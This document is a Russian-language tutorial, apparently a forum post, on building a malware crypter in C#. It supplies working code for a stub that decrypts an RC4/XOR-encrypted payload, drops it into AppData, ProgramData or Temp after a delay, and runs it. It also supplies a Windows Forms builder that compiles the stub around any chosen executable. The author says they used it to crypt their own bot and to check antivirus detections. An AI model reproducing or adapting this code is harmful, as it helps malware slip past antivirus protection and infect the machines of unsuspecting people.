Пишем свой криптор на C#.
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
Код:
using System; using System.Diagnostics; using System.IO; using System.Text; using System.Threading;
И теперь сделаем метод дропа файла в рандом папку и его запуска:
Код:
static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла
{
string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл
к {
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData
Path.GetTempPath() // Temp
};
Random random = new Random(); // Создаём переменную random, для генерации случайного числа
int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
try
{
if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке
{
File.Delete(filePath); // Если файл существует, то удаляем его
}
File.WriteAllBytes(filePath, bytes); // Записываем байты в файл
Process.Start(filePath); // Запускаем
}
catch { }
}
Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,
И импортируйте их в проект:
Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
Код:
static void Main()
{
Thread.Sleep(6000); // Делаем небольшую задержку перед запуском
byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты.
byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4
byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты
DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл
}
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
Добавим юзинги:
Код:
using Microsoft.CSharp; using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Forms;
В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:
Для кнопки выбора файла создаём диалоговое окно:
Код:
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog();
dialog.Filter = "build.exe |*.exe"; // Фильтр
if (dialog.ShowDialog() == DialogResult.OK)
textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1
}
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
Код:
static string ByteArrayToString(byte[] ba)
{
return BitConverter.ToString(ba).Replace("-", "");
}
static string RandomString(int size)
{
Random random = new Random((int)DateTime.Now.Ticks);
StringBuilder builder = new StringBuilder();
char ch;
for (int i = 0; i < size; i++)
{
ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
builder.Append(ch);
}
return builder.ToString();
}
Ну и методы XOR и RC4 такие же.
Для кнопки генерации ключа получаем рандом строку:
Код:
private void button2_Click(object sender, EventArgs e)
{
Random rnd = new Random();
int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20
textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной
}
Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
И добавим код для кнопки Build:
Код:
private void button3_Click(object sender, EventArgs e)
{
string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
CompilerParameters Params = new CompilerParameters();
Params.GenerateExecutable = true;
Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll
Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных
Params.OutputAssembly = "Crypted.exe"; // Имя файла
string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба
Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами
Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
var settings = new Dictionary<string, string>();
settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0)
{
foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом
MessageBox.Show(err.ToString());
}
else
{
MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд
}
}
Криптор готов, проверяем.
Ну и детекты (криптовал своего бота):
Ну, а на этом у меня всё!